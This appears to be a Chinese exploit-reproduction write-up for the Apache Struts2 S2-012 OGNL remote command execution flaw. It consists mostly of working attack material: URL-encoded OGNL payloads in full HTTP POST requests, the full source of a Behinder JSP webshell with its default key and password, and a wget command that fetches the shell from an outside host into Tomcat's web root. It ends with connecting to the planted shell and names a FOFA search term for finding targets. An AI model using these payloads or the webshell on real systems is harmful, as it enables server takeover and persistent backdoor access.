-Struts2-012 远程命令执行漏洞

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漏洞复现-Struts2-012 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

Struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术，实现了基于JavaEEWeb应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。S2-012中，包含特制请求参数的请求可用于将任意OGNL代码注入属性，然后用作重定向地址的请求参数，这将导致进一步评估。当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时，将进行第二次评估。这使恶意用户可以将任意OGNL语句放入由操作公开的任何未过滤的String变量中，并将其评估为OGNL表达式，以启用方法执行并执行任意方法，从而绕过Struts和OGNL库保护。

0x03 漏洞复现

漏洞影响:Struts2 2.1.0 – 2.3.13

FOFA:Struts2

1.构造poc查看文件ls（有webapps证明这里为tomcat，tomcat默认的主页路径为/usr/local/tomcat/webapps/ROOT/）

POST /user.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 499
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/
Cookie: JSESSIONID=D942B2DF9E32A8742E1D5A3CDF4D9E51; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1
Upgrade-Insecure-Requests: 1

name=%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

2.设置一个python3下载文件的网页，上存放冰蝎马，并构造wget下载远端冰蝎马命令

#python3下载如下：
python3 -m http.server 80 
#冰蝎马如下：
<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
#下载代码如下：
wget http://x.x.x.x/shell.jsp -O /usr/local/tomcat/webapps/ROOT/shell.jsp

3.构造下载远端冰蝎马到tomcat根目录的payload 

POST /user.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 620
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/
Cookie: JSESSIONID=D942B2DF9E32A8742E1D5A3CDF4D9E51; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1
Upgrade-Insecure-Requests: 1

name=%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22wget%22%2C%22http%3A%2F%2Fx.x.x.x%2Fshell.jsp%22%2C%22-O%22%2C%22%2Fusr%2Flocal%2Ftomcat%2Fwebapps%2FROOT%2Fshell.jsp%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

4.冰蝎连接，得到一个shell

http://x.x.x.x:8080/shell.jsp #路径，默认密码为rebeyond